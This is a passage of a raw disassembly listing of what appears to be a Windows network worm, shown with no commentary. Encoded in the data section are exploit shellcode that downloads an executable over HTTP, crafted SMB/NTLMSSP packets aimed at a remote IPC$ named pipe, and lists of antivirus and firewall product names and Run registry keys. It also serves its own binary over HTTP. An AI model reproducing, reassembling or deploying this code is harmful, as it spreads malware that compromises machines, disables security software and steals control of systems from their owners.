ptr ds:loc_405347+5 sub_440869 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_440875 proc near ; CODE XREF: sub_43F364+16p ; sub_440126+1D1p jmp dword ptr ds:loc_405350 sub_440875 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_440881 proc near ; CODE XREF: sub_43F364+36p jmp dword ptr ds:loc_405350+4 sub_440881 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_44088D proc near ; CODE XREF: sub_43F2F9+41p jmp dword ptr ds:loc_405355+3 sub_44088D endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_440899 proc near ; CODE XREF: sub_43F239+15p jmp dword ptr ds:loc_405363+1 sub_440899 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4408A5 proc near ; CODE XREF: .data:0043F1FFp jmp dword ptr ds:loc_405366+2 sub_4408A5 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4408B1 proc near ; CODE XREF: .data:0043FE0Ep ; .data:0043FE48p ... jmp dword ptr ds:loc_40536B+1 sub_4408B1 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4408BD proc near ; CODE XREF: .data:0043F22Ap jmp dword ptr ds:loc_40536B+5 sub_4408BD endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4408C9 proc near ; CODE XREF: sub_43F725+B2p ; sub_43F725+D0p ... jmp dword ptr ds:loc_405372+2 sub_4408C9 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4408D5 proc near ; CODE XREF: sub_43F725+16Dp ; sub_43F725+2E4p ... jmp dword ptr ds:loc_405372+6 sub_4408D5 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4408E1 proc near ; CODE XREF: .data:0043F180p jmp dword ptr ds:loc_405379+3 sub_4408E1 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4408ED proc near ; CODE XREF: sub_43F624:loc_43F64Dp ; sub_43F624:loc_43F6A7p ... jmp dword ptr ds:loc_40537F+1 sub_4408ED endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4408F9 proc near ; CODE XREF: .data:0043F139p ; .data:0043F153p ... jmp dword ptr ds:loc_40537F+5 sub_4408F9 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_440905 proc near ; CODE XREF: .data:0043F43Fp ; sub_43F624+F4p ... jmp dword ptr ds:loc_405385+3 sub_440905 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_440911 proc near ; CODE XREF: .data:0043FDD2p jmp dword ptr ds:loc_405385+7 sub_440911 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_44091D proc near ; CODE XREF: sub_43F239+6Bp ; sub_43F239+8Ep ... jmp dword ptr ds:loc_40538F+1 sub_44091D endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_440929 proc near ; CODE XREF: sub_4405FD+17p jmp dword ptr ds:loc_40538F+5 sub_440929 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_440935 proc near ; CODE XREF: .data:0043F3F0p ; .data:0043F40Cp jmp dword ptr ds:loc_405396+2 sub_440935 endp ; --------------------------------------------------------------------------- db 90h dd 90h, 17h dup(0) dd 40300000h, 40311000h, 800000h, 22h dup(0) dd 5000h, 0 dd 34303400h, 746F4E20h, 756F6620h, 2900646Eh, 0D960413Ah dd 170A0705h, 27251F1Bh, 2AC9C5ACh, 0DF7F5F3Ch, 746845EBh dd 2F3A7074h, 3732312Fh, 2 dup(3030302Eh), 3130302Eh, 3030303Ah dd 662F3038h, 0AEAE6273h, 335DAE62h, 0A0B966C9h, 5758D01h dd 68AFE8Bh, 575993Ch, 2C068A46h, 99344630h, 0E2470788h dd 0E80AEBEDh, 0FFFFFFDAh, 99999999h, 41E41499h, 0C9994671h dd 0C999C999h, 712FE414h, 99C9994Eh, 0F3C999C9h, 0C999F19Dh dd 99C99989h, 0C999F1C9h, 999CC999h, 0C999F3C9h, 99988B71h dd 67C999C9h, 10F0E3F3h, 9998931Ch, 0F3C999C9h, 414C999h dd 0C999989Bh, 71CAC999h, 99C99963h, 0BC999C9h, 10A7C196h dd 0C999671Ch, 0C999C999h, 9666611Ah, 0C999091Dh, 0C999C999h dd 0C8C850B2h, 1498F3C8h, 71C941DCh, 99C99936h, 4EC999C9h dd 1291C0A4h, 0ED599249h, 0C959B2EFh, 14C9C9C9h, 0CBCA2FC4h dd 0C9990C71h, 0C999C999h, 21E424FFh, 0C7ED5992h, 99F1CDCDh dd 9CC999C9h, 2C66C999h, 0C9999893h, 71C9C999h, 99C999E3h dd 0FBC999C9h, 6683B8B0h, 9998932Ch, 66C999C9h, 0C999672Ch dd 0C999C999h, 0C9991471h, 0C999C999h, 0E7C29C9Bh, 99672C66h dd 99C999C9h, 99E771C9h, 99C999C9h, 31F1AC9h, 149CF3A4h dd 99989B04h, 0CAC999C9h, 0C999F571h, 0C999C999h, 7126F434h dd 71C998F3h, 99C999F9h, 77C999C9h, 14865973h, 496624D4h dd 0C999CB71h, 0C999C999h, 0EF133BF9h, 0A13729F9h, 0DE9AED9Eh dd 9E5F6072h, 5AF8C999h, 0C999A9C1h, 2 dup(0C999C999h) dd 0B7FBEAFFh, 99FCE1FCh, 4 dup(99C999C9h), 0F934C7C9h dd 25B459AAh, 0C9662A2Ah, 819093ACh, 909CC9B7h, 0C983639Dh dd 999271CDh, 99C999C9h, 3519BFC9h, 0BDFD1451h, 91720A95h dd 71F934C7h, 99C999C8h, 12C999C9h, 0D512A5D2h, 529AE180h dd 8D146FAAh, 0B9C89A2Ah, 4A9A8B12h, 595859AAh, 0DB9BAB9Eh dd 0C999A319h, 0DDA26CECh, 9EED85BDh, 81E8A2DFh, 125544EBh dd 4A9ABDC8h, 0EB8D2E96h, 9A85D812h, 99D125Ah, 0DD105A9Ah dd 10F885BDh, 9998971Ch, 66C999C9h, 0FD7F6649h, 0A98712FEh dd 0C212C999h, 85C21295h, 0C2128212h, 0FDC65A91h, 0C6EAFAh dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) dd 0FEFF0000h, 0 dd 2006200h, 4E204350h, 4F575445h, 50204B52h, 52474F52h dd 31204D41h, 200302Eh, 4D4E414Ch, 2E314E41h, 57020030h dd 6F646E69h, 66207377h, 5720726Fh, 676B726Fh, 70756F72h dd 2E332073h, 2006131h, 2E314D4Ch, 30305832h, 4C020032h dd 414D4E41h, 312E324Eh, 544E0200h, 204D4C20h, 32312E30h dd 0 dd 53FFA400h, 73424Dh, 18000000h, 0C807h, 3 dup(0) dd 0FEFFh, 0FF0C0010h, 400A400h, 0A11h, 0 dd 2000h, 0D4000000h, 69800000h, 4C544E00h, 5053534Dh dd 100h, 8829700h, 0E0h, 3 dup(0) dd 570000h, 6E0069h, 6F0064h, 730077h, 320020h, 300030h dd 200030h, 310032h, 350039h, 570000h, 6E0069h, 6F0064h dd 730077h, 320020h, 300030h, 200030h, 2E0035h, 30h, 0 dd 0FFDA0000h, 73424D53h, 0 dd 0C80718h, 3 dup(0) dd 0FEFF00h, 0C002008h, 0DA00FFh, 0A1104h, 0 dd 570000h, 0 dd 800000D4h, 544E009Fh, 53534D4Ch, 30050h, 10000h, 460001h dd 0 dd 470000h, 0 dd 400000h, 0 dd 400000h, 60000h, 400006h, 100000h, 470010h, 8A150000h dd 48E088h, 44004Fh, 6A198100h, 49E4F27Ah, 30AF281Ch, 67107425h dd 69005753h, 64006E00h, 77006F00h, 20007300h, 30003200h dd 30003000h, 32002000h, 39003100h, 3500h, 69005700h, 64006E00h dd 77006F00h, 20007300h, 30003200h, 30003000h, 35002000h dd 30002E00h, 2 dup(0) dd 53FF5C00h, 75424Dh, 18000000h, 0C807h, 3 dup(0) dd 800FEFFh, 0FF040030h, 8005C00h, 31000100h, 5C0000h dd 31005Ch, 320039h, 31002Eh, 380036h, 31002Eh, 32002Eh dd 300031h, 49005Ch, 430050h, 24h, 3F3F3F3Fh, 3Fh, 0FF640000h dd 0A2424D53h, 0 dd 0C80718h, 3 dup(0) dd 4DC08h, 18004008h, 0DEDE00FFh, 16000E00h, 0 dd 9F000000h, 201h, 2 dup(0) dd 3000000h, 1000000h, 40000000h, 2000000h, 3000000h, 5C000011h dd 73006C00h, 72006100h, 63007000h, 0 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) dd 4DC0800h, 500800h, 48000010h, 0 dd 4, 2 dup(0) dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h dd 5C0045h, 0 dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh dd 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0C000000h dd 4D53FFF4h, 2542h, 7180000h, 0C8h, 2 dup(0) dd 0DC080000h, 60080004h, 1000h, 0CA0h, 400h, 2 dup(0) dd 540000h, 540CA0h, 260002h, 0CB14000h, 50005C10h, 50004900h dd 5C004500h, 0 dd 500h, 1003h, 0CA000h, 100h, 0C8800h, 9000000h, 3EC00h dd 0 dd 3EC00h, 14950000h, 30040h, 707C0000h, 10040h, 0 dd 10000h, 0 dd 10000h, 0 dd 10000h, 0 dd 10000h, 0 dd 10000h, 0 dd 10000h, 0 dd 10000h, 0 dd 707C0000h, 10040h, 0 dd 10000h, 0 dd 707C0000h, 10040h, 0 dd 10000h, 0 dd 707C0000h, 10040h, 0 dd 10000h, 0 dd 85780000h, 5BAB0013h, 0E9A6h, 0FFF81000h, 2F424D53h dd 0 dd 0C80718h, 3 dup(0) dd 0FEFF08h, 0E006008h, 0DEDE00FFh, 4000h, 0FFFF0000h dd 8FFFFh, 10B8h, 4010B8h, 0 dd 5EE10B9h, 10010000h, 0B8000000h, 1000010h, 0C000000h dd 20h, 0AD000900h, 0Dh, 0AD000000h, 0Dh, 0D80F0000h, 424D53FFh dd 25h, 0C8071800h, 3 dup(0) dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0) dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h dd 5C0045h, 0 dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0 dd 40A89A00h, 100h, 0 dd 100h, 0 dd 100h, 0 dd 100h, 0 dd 100h, 0 dd 100h, 0 dd 100h, 0 dd 100h, 0 dd 40A89A00h, 100h, 0 dd 100h, 0 dd 40A89A00h, 100h, 0 dd 100h, 0 dd 40A89A00h, 100h, 0 dd 100h, 10h dup(0) dd 460000h, 101h, 0Dh dup(0) dd 15123C00h, 275h, 0Dh dup(0) dd 1C123C00h, 75h, 0Eh dup(0) dd 0EC816600h, 0E4FF071Ch, 100h, 404CF700h, 404CE900h dd 200h, 180h, 404CF700h, 404CE000h, 100h, 180h, 404CF700h dd 404CCF00h, 200h, 80h, 0 dd 404CB500h, 0 dd 404C9C00h, 2 dup(0) dd 404C8C00h, 2 dup(0) dd 404C8200h, 2 dup(0) dd 404C6900h, 2 dup(0) dd 404C5000h, 2 dup(0) dd 404C4300h, 2 dup(0) dd 404C3300h, 100h, 0 dd 404C2C00h, 100h, 4049F800h, 404C2400h, 100h, 0 dd 404C1900h, 2 dup(0) dd 404C1200h, 100h, 0 dd 404C0C00h, 100h, 0 dd 404C0300h, 100h, 0 dd 404BFC00h, 100h, 0 dd 404BF300h, 100h, 0 dd 404BEC00h, 100h, 0 dd 404BE500h, 100h, 0 dd 404BDD00h, 100h, 0 dd 404BD700h, 100h, 404A0800h, 404BD000h, 100h, 0 dd 404BC800h, 100h, 0 dd 404BC100h, 100h, 0 dd 404BBB00h, 100h, 0 dd 404BB200h, 100h, 404A1800h, 404BAD00h, 100h, 0 dd 404BA800h, 100h, 404A2800h, 404BA200h, 100h, 0 dd 524F5700h, 6669004Dh, 6F530063h, 61777466h, 4D5C6572h dd 6F726369h, 74666F73h, 6E69575Ch, 73776F64h, 6B005C00h dd 6469706Ch, 706C6B00h, 6C6B0066h, 76006669h, 74616473h dd 746E61h, 6F6D7376h, 6D6B006Eh, 78627378h, 786D6B00h dd 7369646Eh, 786D6B00h, 736469h, 66786D6Bh, 6D6B0077h dd 6C696678h, 6D6B0065h, 67666378h, 786D6B00h, 676962h dd 61786D6Bh, 746E6567h, 786D5500h, 676643h, 41786D55h dd 746E6567h, 786D5500h, 5500554Ch, 6F50786Dh, 6D53006Ch dd 72655363h, 65636976h, 69667300h, 7265746Ch, 736E6C00h dd 317766h, 7074754Fh, 4674736Fh, 77657269h, 6C6C61h, 72616873h dd 63616465h, 73736563h, 41634D00h, 20656566h, 6D617246h dd 726F7765h, 6553206Bh, 63697672h, 65440065h, 74636574h dd 6420726Fh, 664F2065h, 65636966h, 6E616353h, 5A00544Eh dd 41656E6Fh, 6D72616Ch, 6E615000h, 41206164h, 7669746Eh dd 73757269h, 726F4E00h, 206E6F74h, 69746E41h, 75726976h dd 65532073h, 63697672h, 614B0065h, 72657073h, 20796B73h dd 69746E41h, 6361482Dh, 2E72656Bh, 6B6E6Ch, 656E6F5Ah dd 62614C20h, 6C432073h, 746E6569h, 6F4D4100h, 6F74696Eh dd 6F4C0072h, 27206B6Fh, 5320276Eh, 706F74h, 54464F53h dd 45524157h, 63694D5Ch, 6F736F72h, 575C7466h, 6F646E69h dd 435C7377h, 65727275h, 6556746Eh, 6F697372h, 75525C6Eh dd 78006Eh, 253A7325h, 31002F75h, 312E3239h, 252E3836h dd 75252E75h, 32373100h, 2E75252Eh, 252E7525h, 30310075h dd 2E75252Eh, 252E7525h, 6EB0075h, 5C0006EBh, 5C73255Ch dd 24637069h, 2E752500h, 252E7525h, 75252E75h, 54544800h dd 2E312F50h, 30322031h, 4B4F2030h, 0A0D0A0Dh, 43000A0Dh dd 65746E6Fh, 4C2D746Eh, 74676E65h, 25203A68h, 0D0A0D75h dd 5448000Ah, 312F5054h, 3220312Eh, 4F203030h, 430A0D4Bh dd 65746E6Fh, 542D746Eh, 3A657079h, 70706120h, 6163696Ch dd 6E6F6974h, 652D782Fh, 632D6578h, 72706D6Fh, 65737365h dd 0A0D64h, 787878h, 544547h, 300050h, 6 dup(0) dd 50F400h, 2 dup(0) dd 57F400h, 524C00h, 513800h, 2 dup(0) dd 583C00h, 529000h, 514400h, 2 dup(0) dd 584C00h, 529C00h, 515000h, 2 dup(0) dd 585C00h, 52A800h, 51AC00h, 2 dup(0) dd 58C000h, 530400h, 51D800h, 2 dup(0) dd 58F000h, 533000h, 520C00h, 2 dup(0) dd 592C00h, 536400h, 1Ah dup(0) dd 53A000h, 53B000h, 53BC00h, 53C400h, 53D400h, 53E000h dd 53F000h, 540000h, 540800h, 541400h, 542000h, 542C00h dd 543400h, 543C00h, 544800h, 2 dup(0) dd 545400h, 2 dup(0) dd 547000h, 2 dup(0) dd 548C00h, 549C00h, 54B000h, 54C800h, 54D800h, 54EC00h dd 54FC00h, 550C00h, 551C00h, 553000h, 554800h, 556000h dd 557000h, 558000h, 558C00h, 559800h, 55A800h, 55B000h dd 55BC00h, 55C800h, 55D800h, 2 dup(0) dd 55E800h, 55F400h, 560800h, 561800h, 562C00h, 564000h dd 565400h, 566800h, 567800h, 2 dup(0) dd 568C00h, 56A400h, 56B800h, 56C800h, 56DC00h, 56EC00h dd 570000h, 571400h, 572400h, 573400h, 574800h, 2 dup(0) dd 575C00h, 576400h, 577400h, 578000h, 578800h, 579400h dd 57A000h, 57A800h, 57B000h, 57BC00h, 57C800h, 57D000h dd 57DC00h, 57E800h, 2 dup(0) dd 53A000h, 53B000h, 53BC00h, 53C400h, 53D400h, 53E000h dd 53F000h, 540000h, 540800h, 541400h, 542000h, 542C00h dd 543400h, 543C00h, 544800h, 2 dup(0) dd 545400h, 2 dup(0) dd 547000h, 2 dup(0) dd 548C00h, 549C00h, 54B000h, 54C800h, 54D800h, 54EC00h dd 54FC00h, 550C00h, 551C00h, 553000h, 554800h, 556000h dd 557000h, 558000h, 558C00h, 559800h, 55A800h, 55B000h dd 55BC00h, 55C800h, 55D800h, 2 dup(0) dd 55E800h, 55F400h, 560800h, 561800h, 562C00h, 564000h dd 565400h, 566800h, 567800h, 2 dup(0) dd 568C00h, 56A400h, 56B800h, 56C800h, 56DC00h, 56EC00h dd 570000h, 571400h, 572400h, 573400h, 574800h, 2 dup(0) dd 575C00h, 576400h, 577400h, 578000h, 578800h, 579400h dd 57A000h, 57A800h, 57B000h, 57BC00h, 57C800h, 57D000h dd 57DC00h, 57E800h, 0 dd 57003000h, 74534153h, 75747261h, 70h, 61003500h, 70656363h dd 74h, 62003600h, 646E69h, 63003700h, 65736F6Ch, 6B636F73h dd 7465h, 63003800h, 656E6E6Fh, 7463h, 67003B00h, 6F687465h dd 79627473h, 656D616Eh, 67003C00h, 6F687465h, 616E7473h dd 656Dh, 68004600h, 736E6F74h, 69004700h, 5F74656Eh, 72646461h dd 69004900h, 5F74656Eh, 616F746Eh, 6C004B00h, 65747369h dd 6Eh, 72004F00h, 766365h, 73005500h, 646E65h, 73005900h dd 64747568h, 6E776Fh, 73005A00h, 656B636Fh, 74h, 49008100h dd 7265746Eh, 4774656Eh, 6F437465h, 63656E6Eh, 53646574h dd 65746174h, 53004F00h, 74654748h, 63657053h, 466C6169h dd 65646C6Fh, 74615072h, 4168h, 45008200h, 54746978h, 61657268h dd 64h, 4700CA00h, 6F437465h, 6E616D6Dh, 6E694C64h, 4165h dd 4700DE00h, 75437465h, 6E657272h, 6F725074h, 73736563h dd 6449h, 4700F800h, 69467465h, 6953656Ch, 657Ah, 47010C00h dd 6F4D7465h, 656C7564h, 646E6148h, 41656Ch, 43001B00h dd 65736F6Ch, 646E6148h, 656Ch, 47015500h, 69547465h, 6F436B63h dd 746E75h, 47015C00h, 65567465h, 6F697372h, 6Eh, 47016800h dd 61626F6Ch, 6464416Ch, 6D6F7441h, 41h, 49019200h, 7265746Eh dd 6B636F6Ch, 78456465h, 6E616863h, 6567h, 49019400h, 7265746Eh dd 6B636F6Ch, 6E496465h, 6D657263h, 746E65h, 4C01AD00h dd 6C61636Fh, 6F6C6C41h, 63h, 43003100h, 74616572h, 6C694665h dd 4165h, 5201FA00h, 46646165h, 656C69h, 52020E00h, 6E556C74h dd 646E6977h, 52020F00h, 655A6C74h, 654D6F72h, 79726F6Dh dd 53026400h, 7065656Ch, 6C02C600h, 63727473h, 416E7970h dd 6C02C900h, 6C727473h, 416E65h, 43004700h, 74616572h dd 72685465h, 646165h, 44005400h, 74656C65h, 6C694665h dd 4165h, 5300FE00h, 69547465h, 72656Dh, 52000200h, 73696765h dd 43726574h, 7373616Ch, 41h, 47002000h, 654D7465h, 67617373h dd 4165h, 54002400h, 736E6172h, 6574616Ch, 7373654Dh, 656761h dd 44002500h, 61707369h, 4D686374h, 61737365h, 416567h dd 50003D00h, 5174736Fh, 4D746975h, 61737365h, 6567h, 43004F00h dd 74616572h, 6E695765h, 45776F64h, 4178h, 44005100h, 72747365h dd 6957796Fh, 776F646Eh, 44005B00h, 69576665h, 776F646Eh dd 636F7250h, 41h, 4300BF00h, 65736F6Ch, 76726553h, 48656369h dd 6C646E61h, 65h, 4300C000h, 72746E6Fh, 65536C6Fh, 63697672h dd 65h, 4400C300h, 74656C65h, 72655365h, 65636976h, 4F00D100h dd 536E6570h, 6E614D43h, 72656761h, 41h, 4F00D300h, 536E6570h dd 69767265h, 416563h, 52016700h, 65446765h, 6574656Ch dd 756C6156h, 4165h, 52017100h, 72436765h, 65746165h, 4579654Bh dd 4178h, 52017400h, 6C436765h, 4B65736Fh, 7965h, 52017900h dd 704F6765h, 654B6E65h, 41784579h, 52018400h, 75516765h dd 56797265h, 65756C61h, 417845h, 52019000h, 65536765h dd 6C615674h, 78456575h, 41h, 5F00E800h, 616F7469h, 5F001800h dd 7465475Fh, 6E69614Dh, 73677241h, 5F018100h, 65656C73h dd 70h, 65020A00h, 746978h, 6D025400h, 70636D65h, 79h dd 6D025600h, 65736D65h, 74h, 72026000h, 65736961h, 72026100h dd 646E61h, 73026A00h, 616E6769h, 6Ch, 73026D00h, 6E697270h dd 6674h, 73026F00h, 646E6172h, 73027100h, 61637274h, 74h dd 73027200h, 68637274h, 72h, 73028000h, 74737274h, 72h dd 6F737700h, 32336B63h, 6C6C642Eh, 0Fh dup(40500000h) dd 4E495700h, 54454E49h, 4C4C442Eh, 40501400h, 45485300h dd 32334C4Ch, 4C4C442Eh, 40502800h, 52454B00h, 334C454Eh dd 4C442E32h, 4Ch, 15h dup(40503C00h), 45535500h, 2E323352h dd 4C4C44h, 9 dup(40505000h), 56444100h, 33495041h, 4C442E32h dd 4Ch, 0Bh dup(40506400h), 54524300h, 2E4C4C44h, 4C4C44h dd 0Eh dup(40507800h), 25h dup(0) dd 2000h, 0 dd 2000h, 100000h, 2A0000h, 300000h, 480000h db 2 dup(0) word_4421BE dw 817Ch ; DATA XREF: sub_40399B+19o db 0 byte_4421C1 db 0 ; DATA XREF: sub_403A5F+17o aI? db '`i/=?<',0 ; DATA XREF: sub_403A5F+44o aGas6l db 'G€S6l',0 ; DATA XREF: sub_403A5F+88o dword_4421CF dd 203868h aMt@6 db 'mt@~6',0 ; DATA XREF: sub_403A5F+DDo aWGz db 'w-gz',0 ; DATA XREF: sub_403A5F+FCo aBdvq db '!dvq#',0 ; DATA XREF: sub_403BE7+17o word_4421E5 dw 80h ; DATA XREF: sub_403BE7+125r aDdbl db 'Ddl',0 ; DATA XREF: sub_403BE7+14Co dword_4421EC dd 817430h a1dy db ' /1dY',0 ; DATA XREF: sub_403BE7+239o dword_4421F6 dd 39324Ah align 4 dd 7, 0Ah dword_442204 dd 80h ; sub_404020:loc_404007r ... word_442208 dw 58h ; DATA XREF: sub_40406B+15r aRMqq db '`R#MqQ',0 ; DATA XREF: sub_4040AA+56o byte_442211 db 7Fh, 2Fh, 69h ; DATA XREF: sub_4040AA+8Co dd 733B26h byte_442218 db 3Dh, 36h, 0 ; DATA XREF: sub_4040AA+160o a99a db '-; 99a',0 ; DATA XREF: sub_4040AA+1A0o dword_442222 dd 505866h align 4 dd 6, 0Eh dword_442230 dd 0 ; .text:loc_404372r ... dword_442234 dd 0 ; sub_4043CA+49r ... dword_442238 dd 817Ch, 4, 0Ahdword_442244 dd 0 ; sub_404491:loc_4044BFr ... byte_442248 db 0 ; DATA XREF: sub_404529+2Bo byte_442249 db 0 ; DATA XREF: sub_40470D+9o aKCivm db 'K Ci‚M ',0 ; DATA XREF: sub_40481B+31o aByqv db 'BYQV',0 ; DATA XREF: sub_40481B+F1o a4lk db '&*4LK',0 ; DATA XREF: sub_40481B+158o dword_44225D dd 726254h dword_442261 dd 2B542Ch byte_442265 db 52h, 72h, 53h ; DATA XREF: sub_404B85-3Co dd 517F60h aRmU db ': &rm`U',0 ; DATA XREF: sub_404B85+7Do dd 6 dword_442278 dd 0Ch ; sub_40506F+79r dword_44227C dd 0 ; sub_404E2A:loc_404E60r ... dword_442280 dd 354B5Eh aO68_0 db 'o6,%8',0 ; DATA XREF: sub_404EC6+138o word_44228A dw 7F70h ; DATA XREF: sub_40506F+Co db 0 aGK db '`G k',0 ; DATA XREF: sub_40506F+24o asc_442292 db '> `h',0 ; DATA XREF: sub_40506F+B7o align 4 dw 7 unicode 0, <>,0 dword_44229C dd 11h ; sub_4054C8+149r ... dword_4422A0 dd 0 ; sub_405138:loc_40515Fr ... dword_4422A4 dd 0 aDpVB db '>Dp+‚',27h,'B',0 ; DATA XREF: sub_40523D:loc_405263o aB_mxkw db 'B_mxkw&',0 ; DATA XREF: sub_40523D+11Eo word_4422B8 dw 4Dh ; DATA XREF: sub_4054C8+5Br aQcfdx db 'QcfdX',27h,0 ; DATA XREF: sub_4054C8+FBo aNy db 'NY',0 ; DATA XREF: sub_4054C8+10Eo dword_4422C4 dd 7F3A3Fh byte_4422C8 db 67h, 4Eh, 0 ; DATA XREF: sub_4054C8+1B0o dword_4422CB dd 615920h a70cg db '70cg',0 ; DATA XREF: sub_4054C8+277o byte_4422D4 db 0 ; DATA XREF: sub_4054C8+3B7o word_4422D5 dw 45h ; DATA XREF: sub_4054C8+3DAr byte_4422D7 db 49h ; DATA XREF: sub_4054C8+54Ao dd 60547F6Fh db 74h, 0 a9jm6N db 27h,'9jM6 N',0 ; DATA XREF: sub_4054C8+588o aG db 'ƒ>',0 ; DATA XREF: sub_4054C8+71Bo a0A db '0 ,a',0 ; DATA XREF: sub_4054C8+7FFo word_4422EE dw 79h ; DATA XREF: sub_4054C8+83Br byte_4422F0 db 20h, 31h, 0 ; DATA XREF: sub_4054C8+8CDo byte_4422F3 db 62h ; DATA XREF: sub_405E88+1Ao db 38h, 0 aZ0y db ',`z:0Y',0 ; DATA XREF: sub_405E88+2Do aNw db 'Nw ',0 ; DATA XREF: sub_405E88+A7o aAy db ' ay+',0 ; DATA XREF: sub_405E88+154o word_442308 dw 68h ; DATA XREF: sub_405E88:loc_4060A2r dword_44230A dd 784973h aQa@ db '*Q€@ ',0 ; DATA XREF: sub_405E88+2F9o aIJ db '%i J',0 ; DATA XREF: sub_4061F7+12o dword_442319 dd 646942h aS?xv db 'S?XV',0 ; DATA XREF: sub_4061F7+39o aDFY db 'D/f',27h,'Y',0 ; DATA XREF: sub_4061F7+121o a6l db '6l',0 ; DATA XREF: sub_4061F7+141o byte_44232B db 7Fh ; DATA XREF: sub_4061F7+16Co aNr db ' *nR',0 dword_442331 dd 372A7Ch byte_442335 db 3Eh, 82h, 0 ; DATA XREF: sub_4061F7+207o aEnoX db 'Eno$#X',0 ; DATA XREF: sub_4061F7+23Do a231w db '231w-',0 ; DATA XREF: sub_4061F7+278o aR2Oe@ db 'r2#Oe%@',0 ; DATA XREF: sub_4061F7+296o dword_44234D dd 714B37h dword_442351 dd 533320h aCurh db '`CuRH',0 ; DATA XREF: sub_4061F7+447o aC db 'c ',0 ; DATA XREF: sub_4061F7+49Bo align 10h dd 4 dword_442364 dd 0Dh dword_442368 dd 0 ; sub_406815:loc_40684Br ... dword_44236C dd 0 ; sub_406A40+34r ... dword_442370 dd 0 ; sub_406911+17r ... dword_442374 dd 0FFFFh ; sub_406A40+137r ... aWrIo db ' -wR`iO',0 ; DATA XREF: sub_406911+25o dword_442380 dd 496E20h aCsbS db 'cSB>s',0 ; DATA XREF: sub_40696D+6Ao dword_44238A dd 657451h word_44238E dw 4124h ; DATA XREF: sub_406A40+85o dd 4C494F7Fh db 6Ch, 0 word_442396 dw 5F30h ; DATA XREF: sub_406A40+DBo dd 507F66h dword_44239C dd 4A2F7F41h, 4Fhdword_4423A4 dd 8 ; sub_406D2E+F14r ... dword_4423A8 dd 12h dword_4423AC dd 0 ; sub_406CA2:loc_406CCFr ... dword_4423B0 dd 1 ; sub_407F07+23o byte_4423B4 db 0 ; DATA XREF: sub_406D2E+FD9r align 2 aObw8 db 'oW8',0 ; DATA XREF: sub_406D2E+19Bo dword_4423BB dd 6D3520h aQungz db 'QUnƒZ',0 ; DATA XREF: sub_406D2E+1FDo aKxafL db 'KxAf+/L',0 ; DATA XREF: sub_406D2E+282o dword_4423CD dd 24614Dh dword_4423D1 dd 2C5E40h a4yk3 db '4Yk3',0 ; DATA XREF: sub_406D2E+3D2o aB db '~',0 ; DATA XREF: sub_406D2E+492o aZrsh db 'ZRSH',0 ; DATA XREF: sub_406D2E+4ADo aTxnve db 'TxN‚e',0 ; DATA XREF: sub_406D2E+51Fo word_4423E8 dw 72h ; DATA XREF: sub_406D2E+535r aK80vdo db 'k80‚Do',0 ; DATA XREF: sub_406D2E+548o a8vs db '8VS^&',0 ; DATA XREF: sub_406D2E+5CCo dword_4423F7 dd 277C80h word_4423FB dw 38h ; DATA XREF: sub_406D2E+A31r aLbn?b db 'lbn?',0 ; DATA XREF: sub_406D2E+A44o byte_442403 db 0 ; DATA XREF: sub_406D2E+AA4o asc_442404 db 'h<',0 ; DATA XREF: sub_406D2E+B8Fo byte_442407 db 0 ; DATA XREF: sub_406D2E+C1Fo dword_442408 dd 2D2079h byte_44240C db 0 ; DATA XREF: sub_406D2E+CF6o a1o8qz db '1o8QZ',0 ; DATA XREF: sub_406D2E+D1Ao aKbX0 db 'k*x0',0 ; DATA XREF: sub_406D2E+DBBo word_442419 dw 20h ; DATA XREF: sub_406D2E+E00r aJvjm db 'JvjM ',0 ; DATA XREF: sub_406D2E+E5Bo dword_442421 dd 3B4B20h aG5ah db 27h,'G5aH',0 ; DATA XREF: sub_406D2E+1001o byte_44242B db 0 ; DATA XREF: sub_406D2E+10B4o dword_44242C dd 0FFFFFFFFh, 407ED9h, 407EE4hdword_442438 dd 0 dd 8 dword_442440 dd 12h dword_442444 dd 0 ; sub_407FBC:loc_407FE9r ... aQKy db 